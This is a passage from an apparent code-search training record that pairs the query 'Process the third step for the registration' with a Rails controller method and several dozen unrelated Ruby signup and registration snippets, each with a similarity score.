genderToPossessivePronoun(@student.gender)\n @gender_objective_pronoun = genderToObjectivePronoun(@student.gender)\n @gender_possessive_adjective = genderToPossessiveAdjective(@student.gender)\n end\n\n\n # Handle contact person\n if step == :contact_person_2_contact_info\n @contact_person = ContactPerson.find(session[:contact_person_1_id])\n end\n\n if step == :permissions\n contact_1 = ContactPerson.new(first_name: 'John')\n contact_2 = ContactPerson.new(first_name: 'Ginger')\n contact_3 = ContactPerson.new(first_name: 'Bambi')\n @all_contacts = [contact_1, contact_2, contact_3]\n\n # @all_contacts = ContactPerson.where(contact_person_id:@guardian.id)\n # @all_contacts << @guardian\n # @guardian_and_contacts = @all_contacts.reverse\n end\n\n render_wizard\n end", "def step1\n\n end", "def goToNextStep\n case @step\n when :unlockReset\n @step = :unlockHelps\n setHelpOnClick\n\n when :unlockFreezers\n @step = :unlockReset\n setResetOnClick\n\n when :unlockRedo\n @step = :unlockFreezers\n setFreezersOnClick\n\n when :unlockUndo\n @step = :unlockRedo\n setRedoOnClick\n\n when :unlockGrid\n @step = :unlockUndo\n setUndoOnClick\n\n when :unlockPause\n @step = :unlockGrid\n setGridOnClick\n\n when :intro\n @step = :unlockPause\n setPauseOnClick\n end\n end", "def new\n super\n @title = \"Sign up\"\n logger.debug \"\\n\\t RegistrationsController#new \\n\\n\"\n end", "def successful_registration\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(generate_random_email_address, @user_password, @user_password)\n return parse_message(find_div_with_success_message)\n end", "def success_signup\n redirect_to root_path if flash[:notice].nil? || flash[:notice] != t('devise.registrations.signed_up_but_inactive')\n end", "def register\n # running successfully\n # class_name = params[:user_type].camelize\n # registration_stuff = params[\"#{params[:user_type].to_sym}\"]\n # template = \"#{params[:user_type].pluralize}/new\"\n # save_credentials(class_name, registration_stuff, template)\n\n if(params[:user_type] == 'job_seeker')\n class_name = \"JobSeeker\"\n registration_stuff = params[:job_seeker]\n template = \"job_seekers/new\"\n save_credentials(class_name, registration_stuff, template)\n else\n class_name = \"Employer\"\n registration_stuff = params[:employer]\n template = \"employers/new\"\n save_credentials(class_name, registration_stuff, template)\n end\n end", "def test_registration_succeeds\n user = User.new randomize: true\n # Submit, but don't validate success, so we can assert below\n AllPages.registration_page.register(submit: true, validate_success: false, user: user)\n\n assert(AllPages.registration_page.validate_registration_success, 'The success page was not displayed after registration')\n end", "def create_step1\n session[:current_user_address] = params[:user][:address]\n redirect_to welcome_step2_path\n end", "def load_step(_sub_object_attribute = nil)\n @post_path = wizard_post_path\n @account = wizard_load_or_redirect(accounts_registration_account_for_url)\n end", "def step_1\n render 'step_1.html', layout: false\n end", "def attemp_signup\n\n end", "def finish_wizard_path\n @algorithm.set_status(:validating, 'Information are currently validated.')\n ValidateAlgorithmJob.perform_later(@algorithm.id)\n algorithms_path\n end", "def do_signup\n hobo_do_signup do\n if this.errors.blank?\n #flash[:notice] << \"You must activate your account before you can log in. Please check your email.\"\n flash[:notice] << \" Your account has been created.\"\n\n # FIXME: remove these two lines after you get email working reliably\n # and before your application leaves its sandbox...\n #secret_path = user_activate_path :id=>this.id, :key => this.lifecycle.key\n #flash[:notice] << \"The 'secret' link that was just emailed was: <a id='activation-link' href='#{secret_path}'>#{secret_path}</a>.\"\n else\n flash[:notice] = @this.errors.full_messages.join(\"<br/>\")\n logger.info \"error is \" + flash[:notice]\n end\n\n end\n end", "def new\n if signed_in?\n @post = Post.new\n #@step_string = \"no-steps\"\n\n else\n flash[:error] = \"Please sign in to post\"\n redirect_to('/signin')\n end\n\n \n end", "def step_1\n @user = @current_user\n @image = Image.new\n \n\n if request.get?\n if session[:omniauth]\n @current_user.desc = session[:omniauth][\"info\"][\"description\"]\n if session[:omniauth][\"provider\"] == \"weibo\"\n @image.remote_avatar_url = session[:omniauth][\"info\"][\"image\"]\n elsif session[:omniauth][\"provider\"] == \"qq_connect\"\n @image.remote_avatar_url = session[:omniauth][\"info\"][\"figureurl_1\"]\n end\n session[:omniauth] = nil\n end\n @jumpto_url = session[:jumpto]\n session[:jumpto] = nil\n return redirect_to @jumpto_url if @jumpto_url\n render(:template => \"users/step_1\", :layout => \"register\")\n else\n if @user.update_attributes(params[:user])\n redirect_to user_url(@user)\n else\n return\n end\n #redirect_to step_2_user_url(@user)\n end\n end", "def new\n redirect_to new_password_signup_path\n end", "def new\n redirect_to root_path, :notice => \"Please click 'Sign Up'\"\n end", "def displayLoginPage()\n\t# User Name: \n\t# Password:\n\t# Forgot Password?\tNew User?\n\treturn\nend", "def rep_address\n wizard_address_step(STEPS)\n end", "def create\n @user_step = UserStep.new(user_step_params)\n\n respond_to do |format|\n if @user_step.save\n format.html { redirect_to @user_step, notice: 'User step was successfully created.' }\n format.json { render action: 'show', status: :created, location: @user_step }\n else\n format.html { render action: 'new' }\n format.json { render json: @user_step.errors, status: :unprocessable_entity }\n end\n end\n end", "def after_sign_up_path_for(resource)\n #super(resource)\n\n #'/pages/monprofil'\n\n if(session[:page_id].present?)\n cours_show_path(session[:page_id])\n else\n '/users/sign_up' \n end\n end", "def show\n @step = @script.steps.build\n end", "def account_for_next_step\n return accounts_registration_taxes_path if AccountType.individual?(@account.account_type)\n\n return accounts_registration_company_path unless AccountType.registered_organisation?(@account.account_type)\n\n accounts_registration_company_registered_path\n end", "def process_step_3\n @influencer = current_user.influencer\n\n if @influencer.update_attributes(params[:influencer])\n redirect_to influencer_dashboard_path\n else\n render action: :step_3\n end\n end", "def wizard_params\n params.require(:wizard).permit(:fisrt_name, :last_name)\n end", "def controller_account_success_authentication_after(context={})\n context[:controller].flash[:kittens] = \"Yay! Welcome #{context[:user].firstname}!\"\n end", "def after_sign_up_path_for(resource)\n session[:orga_id] = resource.organisation_id\n user_steps_path(resource)\n end", "def new_wizard_selection\n init_variables_from_sessions\n end", "def wizard\n @wizard = get_next_wizard\n respond_to do |format|\n if @wizard\n format.json { render json: { form: render_to_string(partial: @wizard.partial, layout: false, formats: [:html]), done: false } }\n else\n format.json { render json: { done: true } }\n end\n end\n end", "def signup_info\n end", "def create\n @wizard_option = WizardOption.new(params[:wizard_option])\n\n respond_to do |format|\n if @wizard_option.save\n format.html { redirect_to @wizard_option, notice: 'Wizard option was successfully created.' }\n format.json { render json: @wizard_option, status: :created, location: @wizard_option }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wizard_option.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6976361", "0.6213946", "0.6148486", "0.609535", "0.601955", "0.59974146", "0.59624296", "0.5882699", "0.5816199", "0.5815662", "0.5812021", "0.5796674", "0.57870287", "0.57725704", "0.5764742", "0.5753965", "0.57314724", "0.57305187", "0.5718489", "0.57120144", "0.5695343", "0.56769395", "0.56371063", "0.56349415", "0.563008", "0.5624118", "0.5616338", "0.55989784", "0.5598062", "0.5593362", "0.5559609", "0.5557186", "0.55466855", "0.5546279", "0.5541335", "0.55325127", "0.551433", "0.5512154", "0.5496084", "0.5496084", "0.5496084", "0.5493282", "0.5492051", "0.54583776", "0.54583776", "0.54581845", "0.5457362", "0.5455404", "0.5441486", "0.5424679", "0.53998643", "0.5399427", "0.5383962", "0.5374994", "0.53595537", "0.5358363", "0.534044", "0.5325793", "0.53252316", "0.5308147", "0.53057534", "0.5305348", "0.5300811", "0.52957076", "0.5294117", "0.5286008", "0.52657217", "0.52635497", "0.52556634", "0.5245969", "0.52451783", "0.5241105", "0.52286613", "0.5227878", "0.5225641", "0.52220213", "0.5221788", "0.52135944", "0.5208532", "0.5204445", "0.5203627", "0.5201564", "0.5197038", "0.51889575", "0.51864326", "0.5185951", "0.51830155", "0.5182664", "0.5181168", "0.51802945", "0.5178286", "0.51709574", "0.5169054", "0.51631224", "0.5162019", "0.51563495", "0.51489604", "0.5136932", "0.5134758", "0.5133016", "0.5130532" ]
0.0
-1
Process the third step for the registration
def process_step_3 @influencer = current_user.influencer if @influencer.update_attributes(params[:influencer]) redirect_to influencer_dashboard_path else render action: :step_3 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def register\n # running successfully\n # class_name = params[:user_type].camelize\n # registration_stuff = params[\"#{params[:user_type].to_sym}\"]\n # template = \"#{params[:user_type].pluralize}/new\"\n # save_credentials(class_name, registration_stuff, template)\n\n if(params[:user_type] == 'job_seeker')\n class_name = \"JobSeeker\"\n registration_stuff = params[:job_seeker]\n template = \"job_seekers/new\"\n save_credentials(class_name, registration_stuff, template)\n else\n class_name = \"Employer\"\n registration_stuff = params[:employer]\n template = \"employers/new\"\n save_credentials(class_name, registration_stuff, template)\n end\n end", "def finish_register\n end", "def signup_step1\n unless defined? params[:signup_email] or params[:signup_password]\n flash[:error] = \"Fields can't be blank !\"\n render :js => form_err_js(:signup_email, \"Please put your email and password. Fields can't be blank !\")\n else\n\n @email = params[:signup_email] if defined? params[:signup_email]\n @password = params[:signup_password] if defined? params[:signup_password]\n\n if defined? params[:type]\n case params[:type]\n when 'Student'\n @user = Student.create(:email => @email, :password => @password, :password_confirmation => @password)\n when 'Teacher'\n @user = Teacher.create(:email => @email, :password => @password, :password_confirmation => @password)\n when 'Coach'\n @user = Coach.create(:email => @email, :password => @password, :password_confirmation => @password)\n end\n redirect_to root_path, notice: \"Please check your Inbox for Account Confirmation Mail!\" if @user\n end\n end\n end", "def start_registration\r\n \r\n end", "def register\n \n end", "def successful_registration_look_for_right_hand_side_content\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(generate_random_email_address, @user_password, @user_password)\n end", "def reg_participants\n puts \"#{self.thread_name} engine particpant setup\"\n # SETUP MUST BE CALLED.\n # ANY exceptions or errors in the participants aborts the workflow and are hard to find. YOU HAVE BEEN WARNED\n self.wfe_engine.register_participant :setup do |workitem|\n puts \"------> setup got a workitem...\" if @debug\n target = ['scott.sproule@cure.com.ph', 'jan.ardosa@cure.com.ph']\n workitem.sms_source = \"992\"\n workitem.my_hostname = Socket.gethostname \n workitem.sms_message = \"no message\"\n workitem.email_target = target\n # workitem.email_from = \"scott.sproule@cure.com.ph\"\n workitem.workflow_status = \"false\"\n workitem.process_result = \"false\"\n workitem.final_response=\"failure\"\n puts \"<------- end of setup\" if @debug\n end\n # self.wfe_engine.register_participant( \n # 'bal_transfer', \n # OpenWFE::Extras::ActiveStoreParticipant.new('bal_transfer\n#self.wfe_engine.register_participant :bal_transfer do |workitem|\n# puts \"bal_transfer got a workitem...\"\n# workitem.particpant = 'bal_transfer'\n# workitem.store = 'bal_transfer'\n# workitem.save\n#end\n#FIX LATER\n s=%w(bal_transfer pasaload dispense_pin dealer_load load process2 )\n s.each {|i|# self.wfe_engine.register_participant( \"#{i}_store\", ActiveTracker.new(\"#{i}\")) \n puts \"---REG PARticipant #{i}_store \"\n self.wfe_engine.register_participant \"#{i}_store\" do |workitem|\n puts \"#{i}_store got a workitem...\"\n #workitem.monkey_comment = \"this thing looks interesting\"\n end \n }\n \n self.wfe_engine.register_participant :credit do |workitem|\n puts \"----> credit action got a workitem...\" if @debug\n workitem.credit_result=false\n res= self.billing_action('credit',workitem.credit_msisdn,workitem.peso_value )\n puts \"action credit msisdn #{workitem.credit_msisdn} value #{workitem.peso_value} RES: #{res}\"\n puts \"<----credit action finished res #{res}...\" if @debug\n workitem.process_result=res\n end\n self.wfe_engine.register_participant :pasaload do |workitem|\n puts \"----> pasaload action got a workitem...\" if @debug\n workitem.process_result=false\n workitem.sms_source = \"992\"\n puts \"before action pasaload msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('pasaload',workitem.source_msisdn,workitem.value, workitem.dest_msisdn)\n puts \"action pasaload msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res}\"\n puts \"<----pasaload action finished res #{res}...\" if @debug\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n \n end\n self.wfe_engine.register_participant :dealer_load do |workitem|\n puts \"----> dealer load action got a workitem...\" if @debug\n workitem.process_result=false\n workitem.sms_source = \"913\"\n puts \"before action dealer load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('dealer_load',workitem.source_msisdn,workitem.value, workitem.dest_msisdn)\n puts \"action dealer load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res}\"\n puts \"<----dealer load action finished res #{res}...\" if @debug\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n end\n self.wfe_engine.register_participant :load do |workitem|\n puts \"----> load action got a workitem...\" if @debug\n workitem.process_result=false\n workitem.sms_source = \"990\"\n puts \"before action load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('load',workitem.source_msisdn,workitem.value, workitem.dest_msisdn)\n puts \"action load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res}\"\n puts \"<----load action finished res #{res}...\" if @debug\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n workitem.loadvalue=res[1] if res[0]=='true'\n \n end\n self.wfe_engine.register_participant :dispense_pin do |workitem|\n puts \"----> dispense_pin action got a workitem...\" if @debug\n workitem.process_result=false\n puts \"before action dispense_pin msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('dispense_pin', workitem.source_msisdn, workitem.value, workitem.dest_msisdn)\n puts \"action dispense_pin msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res.to_s}\"\n puts \"<----load action finished res #{res}...\" if @debug\n # result = YAML.load\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n workitem.pin=res[1] if res[0]=='true'\n \n end\n \n \n self.wfe_engine.register_participant :debit do |workitem|\n puts \"----> debit action got a workitem...\" if @debug\n workitem.debit_result=false \n # peso charge -- could be variable\n value=-1*workitem.peso_value.to_i-1\n res=self.billing_action('debit',workitem.debit_msisdn,value.to_s )\n puts \"action debit msisdn #{workitem.debit_msisdn} value #{workitem.peso_value} RES: #{res}\"\n workitem.process_result=res\n workitem.process_message=res\n puts \"<----debit action finsihed res #{res}...\" if @debug\n end\n self.wfe_engine.register_participant :monkey do |workitem|\n puts \"monkey got a workitem...\"\n workitem.monkey_comment = \"this thing looks interesting\"\n end\n self.wfe_engine.register_participant :intprocess2 do |workitem|\n puts \"process2 got a workitem...\"\n workitem.process2_comment = \"yeah process 2\"\n end\n self.wfe_engine.register_participant :bob do |workitem|\n puts \"bob got a workitem...\"\n workitem.bob_comment = \"not for me, I prefer VB\"\n workitem.bob_comment2 = \"Bob rules\"\n workitem.final_response = \"all ok\"\n self.final_response[workitem.fei.workflow_instance_id.to_s] = workitem.final_response\n end\n self.wfe_engine.register_participant :sms do |workitem|\n puts \"sms got a workitem...\"\n puts \"sms #{workitem.sms_destination} message: #{workitem.sms_message}\"\n res=send_sms(workitem.sms_message,workitem.sms_destination, workitem.sms_source)\n workitem.problem=!res \n end\n # needs workitem.email_target set\n mailp=OpenWFE::MailParticipant.new(\n :smtp_server => \"mail2.cure.com.ph\",\n :smtp_port => 25,\n :from_address => \"scott.sproule@cure.com.ph\"\n ) do |workitem|\n puts \"----> mail got workitem\"\n s = \"\"\n duration=Time.now-self.start_time\n s << \"Subject: Workflow PROCESS [#{workitem.process_name}] [#{workitem.final_response}]\\n\\n\"\n s << \"result is #{workitem.final_response}\\n\"\n s << \"Processing Time so far: #{duration} \\n\"\n s << \"summary of process #{workitem.fei.workflow_instance_id}\\n\"\n workitem.attributes.each do |k, v|\n s << \" - #{k} : '#{v}'\\n\"\n end \n s << \"Time: #{Time.new.to_s}\\n\"\n puts \"----> leaving mail\"\n s\n end\n self.wfe_engine.register_participant( \n \"mail\", mailp)\n \n \n self.wfe_engine.register_participant :debug do |workitem|\n puts \"--->debug got a workitem...\"\n puts \"--status of process #{workitem.fei.workflow_instance_id}\"\n workitem.attributes.each do |k, v|\n puts \" - #{k} : '#{v}'\"\n end\n puts '<------end of debug'\n end\n # summarize must be called to set final_response\n self.wfe_engine.register_participant :summarize do |workitem|\n puts \"---->Summarize got a workitem...\"\n # workitem.final_response=\"all ok\" if workitem.attributes['process_result']=='true' \n puts \"result is #{workitem.final_response}\"\n self.final_response[workitem.fei.workflow_instance_id.to_s] = workitem.process_message\n puts \"summary of process #{workitem.fei.workflow_instance_id}\"\n workitem.attributes.each do |k, v|\n # next unless k.match \".*_comment$\"\n puts \" - #{k} : '#{v}'\"\n end\n puts '<-------end of summary'\n end\n self.wfe_engine.register_participant :reverse_charges do |workitem|\n puts \"-----> reverse got a workitem...\"\n res=false\n if workitem.attributes['debit_result']=='true'\n value=1*workitem.peso_value.to_i+1\n res=self.billing_action('credit',workitem.debit_msisdn,value.to_s )\n puts \"return from reversing debit: #{res}\"\n end\n if workitem.attributes['credit_result']=='true'\n res= self.billing_action('debit',workitem.credit_msisdn,workitem.peso_value )\n puts \"return from reversing credit: #{res}\"\n end\n puts 'end of reverse charges'\n end\n self.wfe_engine.register_participant :process_failure do |workitem|\n puts \"----> process_failure got a workitem...\"\n res=false\n # res=send_sms(\"There was a problem with your request (process id:'#{workitem.fei.workflow_instance_id})'. Call *999 if you require further information\", workitem.source_msisdn, workitem.sms_source)\n puts \"<------ out of process failure\"\n end\n self.wfe_engine.register_participant :inform_success_pasa do |workitem|\n puts \"---->Inform_success_pasa got a workitem...\"\n res=true\n if workitem.final_response==\"all ok\"\n # res=send_sms(\"You have sent #{workitem.value} pesos to #{workitem.dest_msisdn}: (process id:'#{workitem.fei.workflow_instance_id})'\", workitem.source_msisdn, workitem.sms_source)\n res=send_sms(\"You have received #{workitem.value} pesos from #{workitem.source_msisdn}: To check your balance, text BAL to 991\", workitem.dest_msisdn,workitem.sms_source) and res\n #(process id:#{workitem.fei.workflow_instance_id})\n end\n puts \"<---- end inform_sucess\"\n res\n end\n self.wfe_engine.register_participant :inform_success_dispense_pin do |workitem|\n puts \"---->Inform_success_dispense_pin got a workitem...\"\n res=false\n if workitem.final_response==\"all ok\"\n res=send_sms(\"Your pin is #{workitem.loadvalue} via tracking process id:'#{workitem.fei.workflow_instance_id}'\", workitem.source_msisdn, workitem.sms_source)\n \n end\n puts \"<---- end inform_success_dispense_pin\"\n res\n end\n self.wfe_engine.register_participant :inform_success_load do |workitem|\n puts \"---->Inform_success_load got a workitem...\"\n res=false\n if workitem.final_response==\"all ok\"\n # res=send_sms(\"You have loaded #{workitem.loadvalue} pesos (process id: #{workitem.fei.workflow_instance_id})\", workitem.source_msisdn, workitem.sms_source)\n \n end\n puts \"<---- end inform_sucess\"\n res\n end\n self.wfe_engine.register_participant :inform_success do |workitem|\n puts \"Inform_success got a workitem...\"\n res=false\n if workitem.final_response==\"all ok\"\n res=send_sms(\"You have sent #{workitem.peso_value} peso to #{workitem.credit_msisdn}: (process id:'#{workitem.fei.workflow_instance_id}')\", workitem.debit_msisdn, workitem.sms_source)\n res=send_sms(\"You have received #{workitem.peso_value} pesos from #{workitem.debit_msisdn}: tracking process id:'#{workitem.fei.workflow_instance_id}' \",workitem.credit_msisdn,workitem.sms_source) and res\n end\n end\n \nend", "def company_registered\n wizard_company_step(accounts_registration_address_url)\n end", "def account_for\n wizard_step(STEPS) { { setup_step: :setup_step, next_step: :account_for_next_step } }\n end", "def signup_complete\n\n if params[:signup_complete_form]\n \n @signup_complete_form = SignupCompleteForm.new(params[:signup_complete_form])\n\n if @signup_complete_form.valid?\n \n # try and create the member in sfdc\n new_member_create_results = CsApi::Account.create(SfdcConnection.admin_dbdc_client.oauth_token, params[:signup_complete_form]).symbolize_keys!\n logger.info \"[SessionsController]==== creating a new third party user with email address (#{@signup_complete_form.email}): #{new_member_create_results.to_yaml}\"\n \n # if the user was created successfully in sfdc\n if new_member_create_results[:success].eql?('true')\n \n # delete the user if they already exists\n User.delete(User.find_by_username(new_member_create_results[:username]))\n \n user = User.new(:username => new_member_create_results[:username], \n :sfdc_username => new_member_create_results[:sfdc_username], \n :password => Encryptinator.encrypt_string(ENV['THIRD_PARTY_PASSWORD']))\n \n logger.info \"[SessionsController]==== try to save #{@signup_complete_form.email} to the database\"\n\n if user.save\n logger.info \"[SessionsController]==== saving #{@signup_complete_form.email} to the database\"\n # sign the user in\n sign_in user\n logger.info \"[SessionsController]==== #{@signup_complete_form.email} successfully signed in\"\n # send the 'welcome' email -- taken care of by the API now\n # Resque.enqueue(WelcomeEmailSender, current_access_token, new_member_create_results[:username]) unless ENV['MAILER_ENABLED'].eql?('false')\n # add the user to badgeville\n Resque.enqueue(NewBadgeVilleUser, current_access_token, new_member_create_results[:username], new_member_create_results[:sfdc_username]) unless ENV['BADGEVILLE_ENABLED'].eql?('false')\n unless session[:marketing].nil?\n # update their info in sfdc with the marketing data\n Resque.enqueue(MarketingUpdateNewMember, current_access_token, new_member_create_results[:username], session[:marketing]) \n # delete the marketing session hash\n session.delete(:marketing)\n end\n # check for any referral & update the record with the newly created member\n unless session[:referral].nil?\n Resque.enqueue(ProcessReferral, session[:referral], new_member_create_results[:username]) \n # delete the referral_id session hash\n session.delete(:referral)\n end\n redirect_to welcome2cloudspokes_path\n else\n logger.error \"[SessionsController]==== error creating a new third party member after manually entering their email address. Could not save to database.\"\n render :inline => \"Whoops! An error occured during the authorization process. Please hit the back button and try again.\"\n end \n \n # display the error to them in the flash\n else \n logger.info \"[SessionsController]==== error creating new member: #{new_member_create_results[:message]}\"\n flash.now[:error] = new_member_create_results[:message]\n end\n end\n else\n # first time through -- prepopulate the form from the session\n @signup_complete_form = SignupCompleteForm.new(session[:auth])\n if ['github','twitter'].include?(@signup_complete_form.provider) \n @signup_complete_form.provider_username = @signup_complete_form.username\n else\n @signup_complete_form.provider_username = @signup_complete_form.email \n end\n \n logger.info \"[SessionsController]==== starting the signup process for #{session[:auth][:provider]}\"\n end\n end", "def successful_registration\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(generate_random_email_address, @user_password, @user_password)\n return parse_message(find_div_with_success_message)\n end", "def sign_up\n request_params = {\n host_url_with_protocol: host_url_with_protocol,\n host_url: host_url,\n entity_type: GlobalConstant::TemplateType.registration_template_type\n }\n service_response = GlobalConstant::StTokenSale.get_client_details(request_params)\n\n # Check if error present or not?\n unless service_response.success?\n render_error_response(service_response)\n return\n end\n\n @presenter_obj = ::Web::Client::Setup.new(service_response, params)\n\n redirect_to '/token-sale-blocked-region', status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.is_blacklisted_ip?(get_ip_to_aml_countries)\n redirect_to \"/login\", status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.has_registration_ended?\n set_page_meta_info(@presenter_obj.custom_meta_tags)\n end", "def registration\n @saas = SETTINGS['saas_registration_mode']\n @user = User.new\n initialize_registration_form\n @errors = {\n :general => [],\n :subjects => [],\n :policies => [],\n :purchase => []\n }\n end", "def finish_registration\n sp = SetupParams.find(get_sp)\n user = current_user\n if user.nil?\n user = User.new(sp.user)\n user.setup_flag = true\n user.save(false)\n UserSession.create(user)\n end\n group = Group.new(sp.group)\n group.user_id = user.id\n group.expiration_date = Time.now + 7.days\n group.save\n if params[:from_facebook]\n data1 = current_fb_session(sp.access_token).me\n type = 'large'\n begin\n group.picture_from_url(\"https://graph.facebook.com/#{data1.id}/picture?type=#{type}\")\n rescue\n end\n else\n if !sp.fb_ids.nil? and !sp.fb_ids['0'].nil?\n type = 'large'\n begin\n group.photo = group.picture_from_url(\"https://graph.facebook.com/#{sp.fb_ids['0']}/picture?type=#{type}\")\n rescue\n end \n else\n begin\n group.photo = TempImage.find(sp.photo_id.to_i).photo\n TempImage.destroy(sp.photo_id.to_i)\n rescue\n end\n end\n end\n group.save\n Emailer.deliver_user_credentials(user.groups.current_group, user)\n preference = Preference.new(sp.preference)\n preference.group_id = group.id\n preference.save\n 0.upto(group.size - 2) do |n|\n member = Member.new(sp.members[n.to_s])\n if params[:from_facebook]\n type = 'large'\n \tbegin\n \t data = sp.fb_ids[n.to_s]\n \trescue\n \t data = nil\n \tend\n if !data.nil?\n member.picture_from_url(\"https://graph.facebook.com/#{data['fbid']}/picture?type=#{type}\")\n end\n end\n member.save\n Membership.create(:group_id => group.id, :user_id => user.id, :member_id => member.id, :token => Digest::SHA1.hexdigest([Time.now, rand].join)[1..20])\n Emailer.deliver_group_members(member, user, user.groups.current_group)\n sleep(0.02)\n end\n session.delete :mpos\n session.delete :sp_id\n session.delete :reg_flow\n sp.destroy\n redirect_to congrats_users_url\n end", "def enter_register_information(user) \r\n puts \"+ <action> enter_register_information --- begin\"\r\n adobe_id_frame_enter_username(user[:email_address])\r\n adobe_id_frame_enter_password_2(user[:password])\r\n adobe_id_frame_retype_password(user[:retype_pass])\r\n adobe_id_frame_firstname_input(user[:first_name])\r\n adobe_id_frame_lastname_input(user[:last_name])\r\n adobe_id_select_country_region(user[:country_region])\r\n\r\n create_btn.click\r\n sleep 5\r\n puts \"+ <action> enter_register_information --- end\"\r\n\r\n if warning_display? \r\n return adobe_id_frame_warning_message.text\r\n end\r\n\r\n end", "def register\r\n \r\n end", "def save_registration(params)\r\n random_pass = 4.times.map { (0..9).to_a.sample }.join\r\n stgu = Hash.new\r\n stgu['__c'] = 'stgu'\r\n stgu['__p'] = [\r\n nil,\r\n nil,\r\n nil, \r\n 1,\r\n params[:email],\r\n random_pass,\r\n nil,\r\n params[:first_name],\r\n params[:middle_name],\r\n params[:last_name],\r\n params[:phone],\r\n nil,\r\n Settings.register_location,\r\n params[:birth_date]\r\n ]\r\n\r\n address = [\r\n nil,\r\n nil,\r\n nil,\r\n params[:street_address],\r\n nil,\r\n params[:city],\r\n nil,\r\n params[:state],\r\n 'US',\r\n params[:zip_code]\r\n ]\r\n\r\n stgma = Hash.new\r\n stgma['__c'] = 'stgma'\r\n stgma['__p'] = address\r\n\r\n stgba = Hash.new\r\n stgba['__c'] = 'stgba'\r\n stgba['__p'] = address\r\n\r\n stgu_json = stgu.to_json\r\n stgma_json = stgma.to_json\r\n stgba_json = stgba.to_json\r\n\r\n register_path = 'https://catalog.tadl.org/osrf-gateway-v1?service=open-ils.actor&method=open-ils.actor.user.stage.create&param='\r\n register_path << stgu_json.to_s\r\n register_path << '&param=' + stgma_json.to_s\r\n register_path << '&param=' + stgba_json.to_s\r\n\r\n if Settings.register_newsletter == true && params[:enews] == 'true'\r\n uri = URI(Settings.register_listapi_url)\r\n\r\n params = {\r\n 'check' => ENV[\"LISTAPI_KEY\"],\r\n 'email' => params[:email],\r\n 'firstname' => params[:first_name],\r\n 'lastname' => params[:last_name],\r\n 'city' => params[:city],\r\n 'state' => params[:state],\r\n 'zip' => params[:zip_code],\r\n }\r\n\r\n res = Net::HTTP.post_form(uri, params);\r\n # puts res.body if res.is_a?(Net::HTTPSuccess) # Uncomment for DEBUG\r\n\r\n end\r\n\r\n uri = URI.parse(register_path)\r\n response = Net::HTTP.get_response(uri)\r\n if response.code == '200'\r\n return JSON.parse(response.body)\r\n else\r\n return 'error'\r\n end\r\n\r\n end", "def registration(login, pass, first_name, last_name)\n visit(HomePage)\n on(HomePage).register_element.when_visible($WT).click\n on(RegisterPage).user_login_element.when_visible($WT).send_keys login\n on(RegisterPage).user_password = pass\n on(RegisterPage).user_password_confirmation = pass\n on(RegisterPage).user_firstname = first_name\n on(RegisterPage).user_lastname = last_name\n on(RegisterPage).user_language = 'English'\n on(RegisterPage).user_mail = login + '@dd.dd'\n on(RegisterPage).submit\n end", "def new_signup\n\n begin \n r_controller = params[\"src_controller\"]\n r_action = params[\"src_action\"]\n r_id = params[\"src_id\"]\n\n raise \"error - no r_controller #{params.inspect}\" unless r_controller\n raise \"error - no r_action #{params.inspect}\" unless r_action\n \n #----------\n # step 1: customer\n #----------\n\n if params[:customer] && params[:customer][:email] != \"\"\n if @customer\n flash[:message] = \"Internal error - you're already logged in\"\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n end\n \n if params[\"customer\"][\"email\"].nil? || params[\"customer\"][\"password\"].nil?\n flash[:message] = \"Password and Email required.\"\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n end\n \n # if params[\"customer\"][\"email\"] != params[\"customer\"][\"email_2\"]\n # flash[:message] = \"Email addresses don't match.\"\n # return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n # end\n \n # if params[\"customer\"][\"password\"] != params[\"customer\"][\"password_2\"]\n # flash[:message] = \"Passwords don't match.\"\n # return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) \n # end\n \n #-----\n # login existing or create new customer\n #-----\n \n email = params[\"customer\"][\"email\"]\n email.gsub!(\" \", \"\")\n\n if cc = Customer.find_by_email(email) \n if Customer.authenticate(email, params[\"customer\"][\"password\"])\n @customer = cc\n else\n flash[:message] = \"Customer exists, but incorrect password\"\n return redirect_to(:controller => r_controller, :action => r_action, :id => r_id ) if r_id\n return redirect_to(:controller => r_controller, :action => r_action ) \n end\n else\n @customer = Customer.create(:email => email,\n :password => params[\"customer\"][\"password\"],\n :password_confirmation => params[\"customer\"][\"password_2\"],\n :arrived_via_email_capture => 1,\n :first_ip_addr => request.remote_ip,\n :first_server_name => request.host)\n unless @customer.valid?\n raise \"Error signing up: #{@customer.errors.full_messages.join(', ')}\"\n end\n @customer.save!\n end \n # POST-CONDITION: @customer exists\n\n # BEGIN DUPLICATE CODE (also in customer_controller)\n session[:customer_id] = @customer.id\n session[:timestamp] = Time.now.to_i\n # END DUPLICATE CODE\n\n end \n\n #----------\n # step 2: univ choice (optional)\n #----------\n \n # Customer need not send a university choice\n # 